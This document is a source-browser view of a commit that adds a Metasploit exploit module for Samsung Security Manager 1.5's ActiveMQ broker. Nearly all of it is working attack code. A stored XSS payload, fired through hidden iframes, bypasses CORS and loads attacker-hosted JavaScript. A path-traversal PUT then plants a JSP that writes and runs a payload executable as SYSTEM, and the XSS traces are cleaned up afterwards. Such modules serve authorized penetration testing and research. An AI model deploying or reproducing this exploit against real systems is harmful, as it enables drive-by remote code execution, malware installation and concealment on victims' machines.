Browse Source

Land #7187, add Samsung Security Manager 1.5 ActiveMQ Broker exploit

wchen-r7 3 years ago
parent
commit
b888ff59ea
No account linked to committer's email address
1 changed files with 230 additions and 0 deletions
  1. 230
    0
      modules/exploits/windows/browser/samsung_security_manager_put.rb

+ 230
- 0
modules/exploits/windows/browser/samsung_security_manager_put.rb View File

@@ -0,0 +1,230 @@
1
+##
2
+# This module requires Metasploit: http://metasploit.com/download
3
+# Current source: https://github.com/rapid7/metasploit-framework
4
+##
5
+
6
+require 'msf/core'
7
+
8
+class MetasploitModule < Msf::Exploit::Remote
9
+  Rank = ExcellentRanking
10
+
11
+  include Msf::Exploit::EXE
12
+  include Msf::Exploit::Remote::HttpServer::HTML
13
+  include Msf::Exploit::FileDropper
14
+
15
+  def initialize(info={})
16
+    super(update_info(info,
17
+      'Name'           => "Samsung Security Manager 1.5 ActiveMQ Broker Service PUT Method Remote Code Execution",
18
+      'Description'    => %q{
19
+        This is an exploit against Samsung Security Manager that bypasses the patch in
20
+        CVE-2015-3435 by exploiting the vulnerability against the client side. This exploit has
21
+        been tested successfully against IE, FireFox and Chrome by abusing a GET request XSS to
22
+        bypass CORS and reach the vulnerable PUT. Finally, a traversal is used in the PUT request
23
+        to upload the code just where we want it and gain Remote Code Execution as SYSTEM.
24
+      },
25
+      'License'        => MSF_LICENSE,
26
+      'Author'         =>
27
+        [
28
+          'mr_me <mr_me[at]offensive-security.com>', # vuln + module
29
+        ],
30
+      'References'     =>
31
+        [
32
+          [ 'URL', 'http://metasploit.com' ]
33
+        ],
34
+      'Platform'       => 'win',
35
+      'Targets'        =>
36
+        [
37
+          # tested on 1.32, 1.4 & 1.5
38
+          [ 'Samsung Security Manager 1.32, 1.4 & 1.5 Universal', {} ],
39
+        ],
40
+      'DisclosureDate' => "Aug 05 2016",
41
+      'DefaultTarget'  => 0))
42
+      register_options(
43
+        [
44
+          OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
45
+        ], self.class)
46
+  end
47
+
48
+  # this is because String.fromCharCode has a max of 65535 func args
49
+  # thanks to sinn3r for his help with the Array->String conversion
50
+  def encode_js(string)
51
+    i = 0
52
+    encoded_0 = []
53
+    encoded_1 = []
54
+    string.each_byte do |c|
55
+      if i > 65534
56
+        encoded_1 << c
57
+      else
58
+        encoded_0 << c
59
+      end
60
+      i += 1
61
+    end
62
+    if i > 65534
63
+      return encoded_0 * ",", encoded_1 * ","
64
+    else
65
+      return encoded_0 * ","
66
+    end
67
+  end
68
+
69
+  # tested on Firefox v46.0.1 (latest)
70
+  # tested on Chrome v50.0.2661.102 (latest release)
71
+  # tested on IE v11.0.9600.18314 (latest)
72
+  def on_request_uri(cli, request)
73
+
74
+    js_name  = rand_text_alpha(rand(10)+5) + '.js'
75
+
76
+    payload_url =  "http://"
77
+    payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
78
+    payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/" + js_name
79
+
80
+    # we deliver the JavaScript code that does the work for us
81
+    if (request.uri.match(/.js/))
82
+      return if ((p = regenerate_payload(cli)) == nil)
83
+
84
+      # dont exploit again otherwise we get a zillion shells
85
+      return if session_created? or @exploited
86
+
87
+      jsp_name = rand_text_alpha(rand(10)+5) + '.jsp'
88
+      exe_name = rand_text_alpha(rand(10)+5) + '.exe'
89
+
90
+      # clean just the jsp, because the exe dropper will be in use
91
+      register_files_for_cleanup("../../webapps/admin/#{jsp_name}")
92
+
93
+      # our jsp upload, ensuring native code execution
94
+      jsp = %Q|<%@ page import="java.io.*" %>
95
+      <%
96
+      ByteArrayOutputStream buf = new ByteArrayOutputStream();
97
+      BufferedReader reader = request.getReader();
98
+      int tmp;
99
+      while ((tmp = reader.read()) != -1) { buf.write(tmp); }
100
+      FileOutputStream fostream = new FileOutputStream("#{exe_name}");
101
+      buf.writeTo(fostream);
102
+      fostream.close();
103
+      Runtime.getRuntime().exec("#{exe_name}");
104
+      %>|
105
+
106
+      # encode the payloads
107
+      encoded_exe = encode_js(generate_payload_exe(code: payload.encoded))
108
+      encoded_jsp = encode_js(jsp)
109
+
110
+      # targets
111
+      jsp_uri    = "http://localhost:8161/fileserver/..%5c%5cadmin%5c%5c#{jsp_name}"
112
+      upload_uri = "http://localhost:8161/admin/#{jsp_name}"
113
+
114
+      # this code does the PUT, then uploads/exec native code and then cleans the XSS out :->
115
+      js_content = %Q|
116
+
117
+      function do_put(uri, file_data) {
118
+        var file_size = file_data.length;
119
+        var xhr = new XMLHttpRequest();
120
+        xhr.open("PUT", uri, true);
121
+        var body = file_data;
122
+        xhr.send(body);
123
+        return true;
124
+      }
125
+
126
+      function do_upload(uri, file_data) {
127
+        var file_size = file_data.length;
128
+        var xhr = new XMLHttpRequest();
129
+        xhr.open("POST", uri, true);
130
+        var body = file_data;
131
+
132
+        // latest ff doesnt have sendAsBinary(), so we redefine it
133
+        if(!xhr.sendAsBinary){
134
+          xhr.sendAsBinary = function(datastr) {
135
+            function byteValue(x) {
136
+              return x.charCodeAt(0) & 0xff;
137
+            }
138
+            var ords = Array.prototype.map.call(datastr, byteValue);
139
+            var ui8a = new Uint8Array(ords);
140
+            this.send(ui8a.buffer);
141
+          }
142
+        }
143
+        xhr.sendAsBinary(body);
144
+        return true;
145
+      }
146
+
147
+      function bye_bye_xss(uri){
148
+        var xhr = new XMLHttpRequest();
149
+        xhr.open('GET', uri.replace(/\\+/g,"%2b"), true);
150
+        xhr.send();
151
+      }
152
+
153
+      function clean_up(){
154
+        var xhr = new XMLHttpRequest();
155
+        xhr.onreadystatechange = function() {
156
+          if (xhr.readyState == XMLHttpRequest.DONE) {
157
+            var els = xhr.responseXML.getElementsByTagName("a");
158
+            for (var i = 0, l = els.length; i < l; i++) {
159
+              var el = els[i];
160
+              if (el.href.search("http://localhost:8161/admin/deleteDestination.action") == 0) {
161
+                bye_bye_xss(el.href);
162
+              }
163
+            }
164
+          }
165
+        }
166
+        xhr.open('GET', 'http://localhost:8161/admin/queues.jsp', true);
167
+        xhr.responseType = "document"; // so that we can parse the reponse as a document
168
+        xhr.send(null);
169
+      }
170
+
171
+      function exploit(){
172
+        do_upload('#{upload_uri}', String.fromCharCode(#{encoded_exe[0]}) + String.fromCharCode(#{encoded_exe[1]}));
173
+        clean_up();
174
+      }
175
+
176
+      function start() {
177
+        do_put('#{jsp_uri}', String.fromCharCode(#{encoded_jsp}));
178
+        setTimeout(exploit(), 2000); // timing is important
179
+      }
180
+      start();
181
+      |
182
+
183
+      if datastore['OBFUSCATE']
184
+        js_content = ::Rex::Exploitation::JSObfu.new(js_content)
185
+        js_content.obfuscate
186
+      end
187
+
188
+    print_status("Sending javascript...")
189
+    @exploited = true
190
+    send_response_html(cli, js_content, { 'Content-Type' => 'application/javascript' })
191
+    return
192
+    end
193
+
194
+    if datastore['OBFUSCATE']
195
+       js_content = ::Rex::Exploitation::JSObfu.new(js_content)
196
+       js_content.obfuscate
197
+       onlick = ::Rex::Exploitation::JSObfu.new(onlick)
198
+       onlick.obfuscate
199
+    end
200
+
201
+    iframe_injection = ""
202
+    # done so that we can ensure that we hit our payload, since iframes load very fast, we need a few
203
+    (1..20).step(1) do |n|
204
+      iframe_injection << "<iframe src=\"http://localhost:8161/admin/queueGraph.jsp\" width=\"0\" height=\"0\"></iframe>"
205
+    end
206
+
207
+    # the stored XSS endpoint
208
+    target  = "http://localhost:8161/admin/browse.jsp?JMSDestination="
209
+
210
+    # we use XSS to execute JavaScript code in local context to avoid CORS
211
+    xss_injection =  "\"+eval(\"var a=document.createElement('script');a.type='text/javascript';"
212
+    xss_injection << "a.src='#{payload_url}';document.body.appendChild(a)\")+\""
213
+    target << Rex::Text.uri_encode(xss_injection)
214
+
215
+    # we can bypass Access-Control-Allow-Origin (CORS) in all browsers using iframe since it makes a GET request
216
+    # and the response is recieved in the page (even though we cant access it due to SOP) which then fires the XSS
217
+    html_content = %Q|
218
+    <html>
219
+    <body>
220
+    <iframe src="#{target}" width="0" height="0"></iframe>
221
+    #{iframe_injection}
222
+    </body>
223
+    </html>
224
+    |
225
+    print_status("Sending exploit...")
226
+    send_response_html(cli, html_content)
227
+    handler(cli)
228
+  end
229
+end
230
+

Loading…
Cancel
Save